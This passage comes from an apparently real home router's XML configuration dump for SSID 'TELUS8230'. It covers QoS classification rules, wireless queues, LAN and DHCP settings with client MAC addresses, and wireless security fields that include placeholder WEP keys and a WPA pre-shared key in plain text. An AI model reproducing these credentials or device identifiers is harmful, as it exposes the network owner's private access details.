<Ethertype>2048</Ethertype> <DSCPMark>16</DSCPMark> <ClassQueue>37</ClassQueue> <X_5067F0_ClassName>Rule9</X_5067F0_ClassName> <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag> </Classification> <Classification instance="10"> <ClassificationEnable>TRUE</ClassificationEnable> <ClassificationOrder>10</ClassificationOrder> <ClassInterface>LAN</ClassInterface> <Protocol>6</Protocol> <DestPort>53</DestPort> <Ethertype>2048</Ethertype> <DSCPMark>16</DSCPMark> <ClassQueue>37</ClassQueue> <X_5067F0_ClassName>Rule10</X_5067F0_ClassName> <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag> </Classification> <Classification instance="11"> <ClassificationEnable>TRUE</ClassificationEnable> <ClassificationOrder>11</ClassificationOrder> <ClassInterface>Local</ClassInterface> <Protocol>6</Protocol> <DestPort>53</DestPort> <Ethertype>2048</Ethertype> <DSCPMark>16</DSCPMark> <ClassQueue>37</ClassQueue> <X_5067F0_ClassName>Rule11</X_5067F0_ClassName> <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag> </Classification> <Classification instance="12"> <ClassificationEnable>TRUE</ClassificationEnable> <ClassificationOrder>12</ClassificationOrder> <ClassInterface>LAN</ClassInterface> <Protocol>6</Protocol> <DestPort>80</DestPort> <Ethertype>2048</Ethertype> <ClassQueue>38</ClassQueue> <X_5067F0_ClassName>Rule12</X_5067F0_ClassName> <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag> </Classification> <Classification instance="13"> <ClassificationEnable>TRUE</ClassificationEnable> <ClassificationOrder>13</ClassificationOrder> <ClassInterface>LAN</ClassInterface> <Protocol>6</Protocol> <DestPort>443</DestPort> <Ethertype>2048</Ethertype> <ClassQueue>38</ClassQueue> <X_5067F0_ClassName>Rule13</X_5067F0_ClassName> <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag> </Classification> <Classification instance="14"> <ClassificationEnable>TRUE</ClassificationEnable> <ClassificationOrder>14</ClassificationOrder> <ClassInterface>LAN</ClassInterface> <Protocol>6</Protocol> <DestPort>25</DestPort> <Ethertype>2048</Ethertype> <ClassQueue>38</ClassQueue> <X_5067F0_ClassName>Rule14</X_5067F0_ClassName> <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag> </Classification> <Classification instance="15"> <ClassificationEnable>TRUE</ClassificationEnable> <ClassificationOrder>15</ClassificationOrder> <ClassInterface>LAN</ClassInterface> <Protocol>17</Protocol> <DestPort>25</DestPort> <Ethertype>2048</Ethertype> <ClassQueue>38</ClassQueue> <X_5067F0_ClassName>Rule15</X_5067F0_ClassName> <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag> </Classification> <Classification instance="16"> <ClassificationEnable>TRUE</ClassificationEnable> <ClassificationOrder>16</ClassificationOrder> <ClassInterface>LAN</ClassInterface> <Protocol>6</Protocol> <DestPort>110</DestPort> <Ethertype>2048</Ethertype> <ClassQueue>38</ClassQueue> <X_5067F0_ClassName>Rule16</X_5067F0_ClassName> <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag> </Classification> <Classification instance="17"> <ClassificationEnable>TRUE</ClassificationEnable> <ClassificationOrder>17</ClassificationOrder> <ClassInterface>LAN</ClassInterface> <Protocol>17</Protocol> <DestPort>110</DestPort> <Ethertype>2048</Ethertype> <ClassQueue>38</ClassQueue> <X_5067F0_ClassName>Rule17</X_5067F0_ClassName> <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag> </Classification> <Classification nextInstance="18" ></Classification> <Queue instance="1"> <QueueEnable>TRUE</QueueEnable> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.1</QueueInterface> <X_5067F0_QueueName>WMM Voice Priority</X_5067F0_QueueName> <X_5067F0_QueueId>1</X_5067F0_QueueId> </Queue> <Queue instance="2"> <QueueEnable>TRUE</QueueEnable> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.1</QueueInterface> <QueuePrecedence>2</QueuePrecedence> <X_5067F0_QueueName>WMM Voice Priority</X_5067F0_QueueName> <X_5067F0_QueueId>2</X_5067F0_QueueId> </Queue> <Queue instance="3"> <QueueEnable>TRUE</QueueEnable> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.1</QueueInterface> <QueuePrecedence>3</QueuePrecedence> <X_5067F0_QueueName>WMM Video Priority</X_5067F0_QueueName> <X_5067F0_QueueId>3</X_5067F0_QueueId> </Queue> <Queue instance="4"> <QueueEnable>TRUE</QueueEnable> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.1</QueueInterface> <QueuePrecedence>4</QueuePrecedence> <X_5067F0_QueueName>WMM Video Priority</X_5067F0_QueueName> <X_5067F0_QueueId>4</X_5067F0_QueueId> </Queue> <Queue instance="5"> <QueueEnable>TRUE</QueueEnable> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.1</QueueInterface> <QueuePrecedence>5</QueuePrecedence> <X_5067F0_QueueName>WMM Best Effort</X_5067F0_QueueName> <X_5067F0_QueueId>5</X_5067F0_QueueId> </Queue> <Queue instance="6"> <QueueEnable>TRUE</QueueEnable> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.1</QueueInterface> <QueuePrecedence>6</QueuePrecedence> <X_5067F0_QueueName>WMM Background</X_5067F0_QueueName> <X_5067F0_QueueId>6</X_5067F0_QueueId> </Queue> <Queue instance="7"> <QueueEnable>TRUE</QueueEnable> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.1</QueueInterface> <QueuePrecedence>7</QueuePrecedence> <X_5067F0_QueueName>WMM Background</X_5067F0_QueueName> <X_5067F0_QueueId>7</X_5067F0_QueueId> </Queue> <Queue instance="8"> <QueueEnable>TRUE</QueueEnable> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.1</QueueInterface> <QueuePrecedence>8</QueuePrecedence> <X_5067F0_QueueName>WMM Best Effort</X_5067F0_QueueName> <X_5067F0_QueueId>8</X_5067F0_QueueId> </Queue> <Queue instance="9"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.2</QueueInterface> <X_5067F0_QueueName>WMM Voice Priority</X_5067F0_QueueName> <X_5067F0_QueueId>1</X_5067F0_QueueId> </Queue> <Queue instance="10"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.2</QueueInterface> <QueuePrecedence>2</QueuePrecedence> <X_5067F0_QueueName>WMM Voice Priority</X_5067F0_QueueName> <X_5067F0_QueueId>2</X_5067F0_QueueId> </Queue> <Queue instance="11"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.2</QueueInterface> <QueuePrecedence>3</QueuePrecedence> <X_5067F0_QueueName>WMM Video Priority</X_5067F0_QueueName> <X_5067F0_QueueId>3</X_5067F0_QueueId> </Queue> <Queue instance="12"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.2</QueueInterface> <QueuePrecedence>4</QueuePrecedence> <X_5067F0_QueueName>WMM Video Priority</X_5067F0_QueueName> <X_5067F0_QueueId>4</X_5067F0_QueueId> </Queue> <Queue instance="13"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.2</QueueInterface> <QueuePrecedence>5</QueuePrecedence> <X_5067F0_QueueName>WMM Best Effort</X_5067F0_QueueName> <X_5067F0_QueueId>5</X_5067F0_QueueId> </Queue> <Queue instance="14"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.2</QueueInterface> <QueuePrecedence>6</QueuePrecedence> <X_5067F0_QueueName>WMM Background</X_5067F0_QueueName> <X_5067F0_QueueId>6</X_5067F0_QueueId> </Queue> <Queue instance="15"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.2</QueueInterface> <QueuePrecedence>7</QueuePrecedence> <X_5067F0_QueueName>WMM Background</X_5067F0_QueueName> <X_5067F0_QueueId>7</X_5067F0_QueueId> </Queue> <Queue instance="16"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.2</QueueInterface> <QueuePrecedence>8</QueuePrecedence> <X_5067F0_QueueName>WMM Best Effort</X_5067F0_QueueName> <X_5067F0_QueueId>8</X_5067F0_QueueId> </Queue> <Queue instance="17"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.3</QueueInterface> <X_5067F0_QueueName>WMM Voice Priority</X_5067F0_QueueName> <X_5067F0_QueueId>1</X_5067F0_QueueId> </Queue> <Queue instance="18"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.3</QueueInterface> <QueuePrecedence>2</QueuePrecedence> <X_5067F0_QueueName>WMM Voice Priority</X_5067F0_QueueName> <X_5067F0_QueueId>2</X_5067F0_QueueId> </Queue> <Queue instance="19"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.3</QueueInterface> <QueuePrecedence>3</QueuePrecedence> <X_5067F0_QueueName>WMM Video Priority</X_5067F0_QueueName> <X_5067F0_QueueId>3</X_5067F0_QueueId> </Queue> <Queue instance="20"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.3</QueueInterface> <QueuePrecedence>4</QueuePrecedence> <X_5067F0_QueueName>WMM Video Priority</X_5067F0_QueueName> <X_5067F0_QueueId>4</X_5067F0_QueueId> </Queue> <Queue instance="21"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.3</QueueInterface> <QueuePrecedence>5</QueuePrecedence> <X_5067F0_QueueName>WMM Best Effort</X_5067F0_QueueName> <X_5067F0_QueueId>5</X_5067F0_QueueId> </Queue> <Queue instance="22"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.3</QueueInterface> <QueuePrecedence>6</QueuePrecedence> <X_5067F0_QueueName>WMM Background</X_5067F0_QueueName> <X_5067F0_QueueId>6</X_5067F0_QueueId> </Queue> <Queue instance="23"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.3</QueueInterface> <QueuePrecedence>7</QueuePrecedence> <X_5067F0_QueueName>WMM Background</X_5067F0_QueueName> <X_5067F0_QueueId>7</X_5067F0_QueueId> </Queue> <Queue instance="24"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.3</QueueInterface> <QueuePrecedence>8</QueuePrecedence> <X_5067F0_QueueName>WMM Best Effort</X_5067F0_QueueName> <X_5067F0_QueueId>8</X_5067F0_QueueId> </Queue> <Queue instance="25"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.4</QueueInterface> <X_5067F0_QueueName>WMM Voice Priority</X_5067F0_QueueName> <X_5067F0_QueueId>1</X_5067F0_QueueId> </Queue> <Queue instance="26"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.4</QueueInterface> <QueuePrecedence>2</QueuePrecedence> <X_5067F0_QueueName>WMM Voice Priority</X_5067F0_QueueName> <X_5067F0_QueueId>2</X_5067F0_QueueId> </Queue> <Queue instance="27"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.4</QueueInterface> <QueuePrecedence>3</QueuePrecedence> <X_5067F0_QueueName>WMM Video Priority</X_5067F0_QueueName> <X_5067F0_QueueId>3</X_5067F0_QueueId> </Queue> <Queue instance="28"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.4</QueueInterface> <QueuePrecedence>4</QueuePrecedence> <X_5067F0_QueueName>WMM Video Priority</X_5067F0_QueueName> <X_5067F0_QueueId>4</X_5067F0_QueueId> </Queue> <Queue instance="29"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.4</QueueInterface> <QueuePrecedence>5</QueuePrecedence> <X_5067F0_QueueName>WMM Best Effort</X_5067F0_QueueName> <X_5067F0_QueueId>5</X_5067F0_QueueId> </Queue> <Queue instance="30"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.4</QueueInterface> <QueuePrecedence>6</QueuePrecedence> <X_5067F0_QueueName>WMM Background</X_5067F0_QueueName> <X_5067F0_QueueId>6</X_5067F0_QueueId> </Queue> <Queue instance="31"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.4</QueueInterface> <QueuePrecedence>7</QueuePrecedence> <X_5067F0_QueueName>WMM Background</X_5067F0_QueueName> <X_5067F0_QueueId>7</X_5067F0_QueueId> </Queue> <Queue instance="32"> <QueueInterface>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.4</QueueInterface> <QueuePrecedence>8</QueuePrecedence> <X_5067F0_QueueName>WMM Best Effort</X_5067F0_QueueName> <X_5067F0_QueueId>8</X_5067F0_QueueId> </Queue> <Queue instance="33"> <QueueEnable>TRUE</QueueEnable> <QueueInterface>WAN</QueueInterface> <QueueWeight>1</QueueWeight> <QueuePrecedence>8</QueuePrecedence> <X_5067F0_QueueName>DefaultQueue</X_5067F0_QueueName> <X_5067F0_DslLatency>0</X_5067F0_DslLatency> <X_5067F0_PtmPriority>0</X_5067F0_PtmPriority> </Queue> <Queue instance="34"> <QueueEnable>TRUE</QueueEnable> <QueueInterface>WAN</QueueInterface> <QueueWeight>1</QueueWeight> <X_5067F0_QueueName>PriQ1</X_5067F0_QueueName> <X_5067F0_DslLatency>0</X_5067F0_DslLatency> <X_5067F0_PtmPriority>0</X_5067F0_PtmPriority> <X_5067F0_QueueId>1</X_5067F0_QueueId> </Queue> <Queue instance="35"> <QueueEnable>TRUE</QueueEnable> <QueueInterface>WAN</QueueInterface> <QueueWeight>1</QueueWeight> <QueuePrecedence>2</QueuePrecedence> <X_5067F0_QueueName>PriQ2</X_5067F0_QueueName> <X_5067F0_DslLatency>0</X_5067F0_DslLatency> <X_5067F0_PtmPriority>0</X_5067F0_PtmPriority> <X_5067F0_QueueId>2</X_5067F0_QueueId> </Queue> <Queue instance="36"> <QueueEnable>TRUE</QueueEnable> <QueueInterface>WAN</QueueInterface> <QueueWeight>1</QueueWeight> <QueuePrecedence>3</QueuePrecedence> <X_5067F0_QueueName>PriQ3</X_5067F0_QueueName> <X_5067F0_DslLatency>0</X_5067F0_DslLatency> <X_5067F0_PtmPriority>0</X_5067F0_PtmPriority> <X_5067F0_QueueId>3</X_5067F0_QueueId> </Queue> <Queue instance="37"> <QueueEnable>TRUE</QueueEnable> <QueueInterface>WAN</QueueInterface> <QueueWeight>1</QueueWeight> <QueuePrecedence>4</QueuePrecedence> <X_5067F0_QueueName>PriQ4</X_5067F0_QueueName> <X_5067F0_DslLatency>0</X_5067F0_DslLatency> <X_5067F0_PtmPriority>0</X_5067F0_PtmPriority> <X_5067F0_QueueId>4</X_5067F0_QueueId> </Queue> <Queue instance="38"> <QueueEnable>TRUE</QueueEnable> <QueueInterface>WAN</QueueInterface> <QueueWeight>1</QueueWeight> <QueuePrecedence>5</QueuePrecedence> <X_5067F0_QueueName>PriQ5</X_5067F0_QueueName> <X_5067F0_DslLatency>0</X_5067F0_DslLatency> <X_5067F0_PtmPriority>0</X_5067F0_PtmPriority> <X_5067F0_QueueId>5</X_5067F0_QueueId> </Queue> <Queue instance="39"> <QueueEnable>TRUE</QueueEnable> <QueueInterface>WAN</QueueInterface> <QueueWeight>1</QueueWeight> <QueuePrecedence>6</QueuePrecedence> <X_5067F0_QueueName>PriQ6</X_5067F0_QueueName> <X_5067F0_DslLatency>0</X_5067F0_DslLatency> <X_5067F0_PtmPriority>0</X_5067F0_PtmPriority> <X_5067F0_QueueId>6</X_5067F0_QueueId> </Queue> <Queue instance="40"> <QueueEnable>TRUE</QueueEnable> <QueueInterface>WAN</QueueInterface> <QueueWeight>1</QueueWeight> <QueuePrecedence>7</QueuePrecedence> <X_5067F0_QueueName>PriQ7</X_5067F0_QueueName> <X_5067F0_DslLatency>0</X_5067F0_DslLatency> <X_5067F0_PtmPriority>0</X_5067F0_PtmPriority> <X_5067F0_QueueId>7</X_5067F0_QueueId> </Queue> <Queue nextInstance="41" ></Queue> </QueueManagement> <LANDevice instance="1"> <LANEthernetInterfaceNumberOfEntries>5</LANEthernetInterfaceNumberOfEntries> <LANUSBInterfaceNumberOfEntries>0</LANUSBInterfaceNumberOfEntries> <LANWLANConfigurationNumberOfEntries>4</LANWLANConfigurationNumberOfEntries> <X_5067F0_LANMocaInterfaceNumberOfEntries>0</X_5067F0_LANMocaInterfaceNumberOfEntries> <X_5067F0_IgmpSnoopingConfig> <Enable>TRUE</Enable> </X_5067F0_IgmpSnoopingConfig> <LANHostConfigManagement> <DHCPServerEnable>TRUE</DHCPServerEnable> <IPInterfaceNumberOfEntries>1</IPInterfaceNumberOfEntries> <IPInterface instance="1"> <Enable>TRUE</Enable> <IPInterfaceIPAddress>192.168.1.254</IPInterfaceIPAddress> <X_5067F0_IfName>br0</X_5067F0_IfName> </IPInterface> <IPInterface instance="2"> <IPInterfaceIPAddress>0.0.0.0</IPInterfaceIPAddress> <IPInterfaceSubnetMask>0.0.0.0</IPInterfaceSubnetMask> <X_5067F0_IfName>br0:0</X_5067F0_IfName> </IPInterface> <IPInterface instance="3"> <IPInterfaceIPAddress>0.0.0.0</IPInterfaceIPAddress> <IPInterfaceSubnetMask>0.0.0.0</IPInterfaceSubnetMask> <X_5067F0_IfName>br0:1</X_5067F0_IfName> </IPInterface> <IPInterface instance="4"> <IPInterfaceIPAddress>0.0.0.0</IPInterfaceIPAddress> <IPInterfaceSubnetMask>0.0.0.0</IPInterfaceSubnetMask> <X_5067F0_IfName>br0:2</X_5067F0_IfName> </IPInterface> <IPInterface instance="5"> <IPInterfaceIPAddress>0.0.0.0</IPInterfaceIPAddress> <IPInterfaceSubnetMask>0.0.0.0</IPInterfaceSubnetMask> <X_5067F0_IfName>br0:3</X_5067F0_IfName> </IPInterface> <IPInterface instance="6"> <IPInterfaceIPAddress>0.0.0.0</IPInterfaceIPAddress> <IPInterfaceSubnetMask>0.0.0.0</IPInterfaceSubnetMask> <X_5067F0_IfName>br0:4</X_5067F0_IfName> </IPInterface> <IPInterface nextInstance="7" ></IPInterface> <DHCPStaticAddress instance="1"> <Enable>TRUE</Enable> <Chaddr>b0:e8:92:47:52:b1</Chaddr> <Yiaddr>192.168.1.XX</Yiaddr> </DHCPStaticAddress> <DHCPStaticAddress instance="2"> <Enable>TRUE</Enable> <Chaddr>48:44:f7:52:8a:f6</Chaddr> <Yiaddr>192.168.1.XX</Yiaddr> </DHCPStaticAddress> <DHCPStaticAddress instance="3"> <Enable>TRUE</Enable> <Chaddr>b0:e8:92:06:5b:0f</Chaddr> <Yiaddr>192.168.1.XX</Yiaddr> </DHCPStaticAddress> <DHCPStaticAddress nextInstance="4" ></DHCPStaticAddress> </LANHostConfigManagement> <LANEthernetInterfaceConfig instance="1"> <Enable>TRUE</Enable> <X_5067F0_IfName>eth0.0</X_5067F0_IfName> <X_5067F0_DefaultTagProcessing>-1</X_5067F0_DefaultTagProcessing> <X_5067F0_DefaultVLANIDMark>-1</X_5067F0_DefaultVLANIDMark> <X_5067F0_DefaultethernetPriorityMark>-1</X_5067F0_DefaultethernetPriorityMark> </LANEthernetInterfaceConfig> <LANEthernetInterfaceConfig instance="2"> <Enable>TRUE</Enable> <X_5067F0_IfName>eth1.0</X_5067F0_IfName> <X_5067F0_DefaultTagProcessing>-1</X_5067F0_DefaultTagProcessing> <X_5067F0_DefaultVLANIDMark>-1</X_5067F0_DefaultVLANIDMark> <X_5067F0_DefaultethernetPriorityMark>-1</X_5067F0_DefaultethernetPriorityMark> </LANEthernetInterfaceConfig> <LANEthernetInterfaceConfig instance="3"> <Enable>TRUE</Enable> <X_5067F0_IfName>eth2.0</X_5067F0_IfName> <X_5067F0_DefaultTagProcessing>-1</X_5067F0_DefaultTagProcessing> <X_5067F0_DefaultVLANIDMark>-1</X_5067F0_DefaultVLANIDMark> <X_5067F0_DefaultethernetPriorityMark>-1</X_5067F0_DefaultethernetPriorityMark> </LANEthernetInterfaceConfig> <LANEthernetInterfaceConfig instance="4"> <Enable>TRUE</Enable> <X_5067F0_IfName>eth3.0</X_5067F0_IfName> <X_5067F0_DefaultTagProcessing>-1</X_5067F0_DefaultTagProcessing> <X_5067F0_DefaultVLANIDMark>-1</X_5067F0_DefaultVLANIDMark> <X_5067F0_DefaultethernetPriorityMark>-1</X_5067F0_DefaultethernetPriorityMark> </LANEthernetInterfaceConfig> <LANEthernetInterfaceConfig instance="5"> <Enable>TRUE</Enable> <X_5067F0_IfName>eth10.0</X_5067F0_IfName> <X_5067F0_DefaultTagProcessing>-1</X_5067F0_DefaultTagProcessing> <X_5067F0_DefaultVLANIDMark>-1</X_5067F0_DefaultVLANIDMark> <X_5067F0_DefaultethernetPriorityMark>-1</X_5067F0_DefaultethernetPriorityMark> </LANEthernetInterfaceConfig> <LANEthernetInterfaceConfig nextInstance="6" ></LANEthernetInterfaceConfig> <WLANConfiguration instance="1"> <MaxBitRate>144.5</MaxBitRate> <Channel>11</Channel> <SSID>TELUS8230</SSID> <BeaconType>WPAand11i</BeaconType> <WEPKeyIndex>1</WEPKeyIndex> <BasicEncryptionModes>None</BasicEncryptionModes> <BasicAuthenticationMode>None</BasicAuthenticationMode> <WPAEncryptionModes>TKIPandAESEncryption</WPAEncryptionModes> <WPAAuthenticationMode>PSKAuthentication</WPAAuthenticationMode> <IEEE11iEncryptionModes>TKIPandAESEncryption</IEEE11iEncryptionModes> <IEEE11iAuthenticationMode>PSKAuthentication</IEEE11iAuthenticationMode> <BasicDataTransmitRates>54</BasicDataTransmitRates> <OperationalDataTransmitRates>NOS</OperationalDataTransmitRates> <RadioEnabled>TRUE</RadioEnabled> <LocationDescription>NOS</LocationDescription> <RegulatoryDomain>US</RegulatoryDomain> <PeerBSSID>NOS</PeerBSSID> <AuthenticationServiceMode>NOS</AuthenticationServiceMode> <X_5067F0_WMMPowerSaveEnabled>TRUE</X_5067F0_WMMPowerSaveEnabled> <X_5067F0_IfName>wl0</X_5067F0_IfName> <X_5067F0_HideSSID>FALSE</X_5067F0_HideSSID> <X_5067F0_GuestSSID>TELUS8230_Guest1</X_5067F0_GuestSSID> <X_5067F0_GuestEnable>FALSE</X_5067F0_GuestEnable> <X_5067F0_GuestHiden>FALSE</X_5067F0_GuestHiden> <X_5067F0_GuestIsolateClients>FALSE</X_5067F0_GuestIsolateClients> <X_5067F0_Guest1SSID>TELUS8230_Guest2</X_5067F0_Guest1SSID> <X_5067F0_Guest1Enable>FALSE</X_5067F0_Guest1Enable> <X_5067F0_Guest1Hiden>FALSE</X_5067F0_Guest1Hiden> <X_5067F0_Guest1IsolateClients>FALSE</X_5067F0_Guest1IsolateClients> <X_5067F0_Guest2SSID>TELUS8230_Guest3</X_5067F0_Guest2SSID> <X_5067F0_Guest2Enable>FALSE</X_5067F0_Guest2Enable> <X_5067F0_Guest2Hiden>FALSE</X_5067F0_Guest2Hiden> <X_5067F0_Guest2IsolateClients>FALSE</X_5067F0_Guest2IsolateClients> <X_5067F0_AutoGenerateWpaKey>FALSE</X_5067F0_AutoGenerateWpaKey> <AssociatedDevice instance="172264"> <X_5067F0_Authorized>1</X_5067F0_Authorized> <X_5067F0_Ssid>TELUS8230</X_5067F0_Ssid> <X_5067F0_Ifcname>wl0</X_5067F0_Ifcname> </AssociatedDevice> <AssociatedDevice instance="172265"> <X_5067F0_Authorized>1</X_5067F0_Authorized> <X_5067F0_Ssid>TELUS8230</X_5067F0_Ssid> <X_5067F0_Ifcname>wl0</X_5067F0_Ifcname> </AssociatedDevice> <AssociatedDevice nextInstance="172266" ></AssociatedDevice> <WEPKey instance="1"> <WEPKey>648f7</WEPKey> </WEPKey> <WEPKey instance="2"> <WEPKey>1234567890</WEPKey> </WEPKey> <WEPKey instance="3"> <WEPKey>1234567890</WEPKey> </WEPKey> <WEPKey instance="4"> <WEPKey>1234567890</WEPKey> </WEPKey> <WEPKey nextInstance="5" ></WEPKey> <PreSharedKey instance="1"> <PreSharedKey>929915929</PreSharedKey> </PreSharedKey> <PreSharedKey nextInstance="2" ></PreSharedKey> <APWMMParameter instance="1"> <AIFSN>3</AIFSN> <ECWMin>4</ECWMin> <ECWMax>6</ECWMax> </APWMMParameter> <APWMMParameter instance="2"> <AIFSN>7</AIFSN> <ECWMin>4</ECWMin> <ECWMax>10</ECWMax> </APWMMParameter> <APWMMParameter instance="3"> <AIFSN>1</AIFSN> <ECWMin>3</ECWMin> <ECWMax>4</ECWMax> <TXOP>94</TXOP> </APWMMParameter> <APWMMParameter instance="4"> <AIFSN>1</AIFSN> <ECWMin>2</ECWMin> <ECWMax>3</ECWMax> <TXOP>47</TXOP> </APWMMParameter> <APWMMParameter nextInstance="5" ></APWMMParameter> <STAWMMParameter instance="1"> <AIFSN>3</AIFSN> <ECWMin>4</ECWMin> <ECWMax>10</ECWMax> </STAWMMParameter> <STAWMMParameter instance="2"> <AIFSN>7</AIFSN> <ECWMin>4</ECWMin> <ECWMax>10</ECWMax> </STAWMMParameter> <STAWMMParameter instance="3"> <ECWMin>3</ECWMin> <ECWMax>4</ECWMax> <TXOP>94</TXOP> </STAWMMParameter> <STAWMMParameter instance="4"> <ECWMin>2</ECWMin> <ECWMax>3</ECWMax> <TXOP>47</TXOP> </STAWMMParameter> <STAWMMParameter nextInstance="5" ></STAWMMParameter> <X_5067F0_WlanAdapter> <WlBaseCfg> <WlPhyType>n</WlPhyType> <WlCoreRev>16</WlCoreRev> <WlChannel>11</WlChannel> <WlCurrentChannel>11</WlCurrentChannel> <WlVer>5.60.120.11.cpe4.06L03.1</WlVer> <WlAburnSupported>1</WlAburnSupported> <WlAmpduSupported>1</WlAmpduSupported> <WlWmeSupported>1</WlWmeSupported> <WlWmfSupported>1</WlWmfSupported> </WlBaseCfg> <WlStaticWdsCfg instance="1"> </WlStaticWdsCfg> <WlStaticWdsCfg instance="2"> </WlStaticWdsCfg> <WlStaticWdsCfg instance="3"> </WlStaticWdsCfg> <WlStaticWdsCfg instance="4"> </WlStaticWdsCfg> <WlStaticWdsCfg nextInstance="5" ></WlStaticWdsCfg> <WlWmmCfg> <WlAPWmmParameterCfg instance="1"> <ACName>be</ACName> <AIFSN>3</AIFSN> <ECWMin>4</ECWMin> <ECWMax>6</ECWMax> </WlAPWmmParameterCfg> <WlAPWmmParameterCfg instance="2"> <ACName>bk</ACName> <AIFSN>7</AIFSN> <ECWMin>4</ECWMin> <ECWMax>10</ECWMax> </WlAPWmmParameterCfg> <WlAPWmmParameterCfg instance="3"> <ACName>vi</ACName> <AIFSN>1</AIFSN> <ECWMin>3</ECWMin> <ECWMax>4</ECWMax> <TXOP>94</TXOP> </WlAPWmmParameterCfg> <WlAPWmmParameterCfg instance="4"> <ACName>vo</ACName> <AIFSN>1</AIFSN> <ECWMin>2</ECWMin> <ECWMax>3</ECWMax> <TXOP>47</TXOP> </WlAPWmmParameterCfg> <WlAPWmmParameterCfg nextInstance="5" ></WlAPWmmParameterCfg> <WlSTAWmmParameterCfg instance="1"> <ACName>be</ACName> <AIFSN>3</AIFSN> <ECWMin>4</ECWMin> <ECWMax>10</ECWMax> </WlSTAWmmParameterCfg> <WlSTAWmmParameterCfg instance="2"> <ACName>bk</ACName> <AIFSN>7</AIFSN> <ECWMin>4</ECWMin> <ECWMax>10</ECWMax> </WlSTAWmmParameterCfg> <WlSTAWmmParameterCfg instance="3"> <ACName>vi</ACName> <ECWMin>3</ECWMin> <ECWMax>4</ECWMax> <TXOP>94</TXOP> </WlSTAWmmParameterCfg> <WlSTAWmmParameterCfg instance="4"> <ACName>vo</ACName> <ECWMin>2</ECWMin> <ECWMax>3</ECWMax> <TXOP>47</TXOP> </WlSTAWmmParameterCfg> <WlSTAWmmParameterCfg nextInstance="5" ></WlSTAWmmParameterCfg> </WlWmmCfg> <WlVirtIntfCfg instance="1"> <WlIdx>0</WlIdx> <WlSsid>TELUS8230</WlSsid> <WlBssMacAddr>CC:5D:4E:XX:XX:XX</WlBssMacAddr> 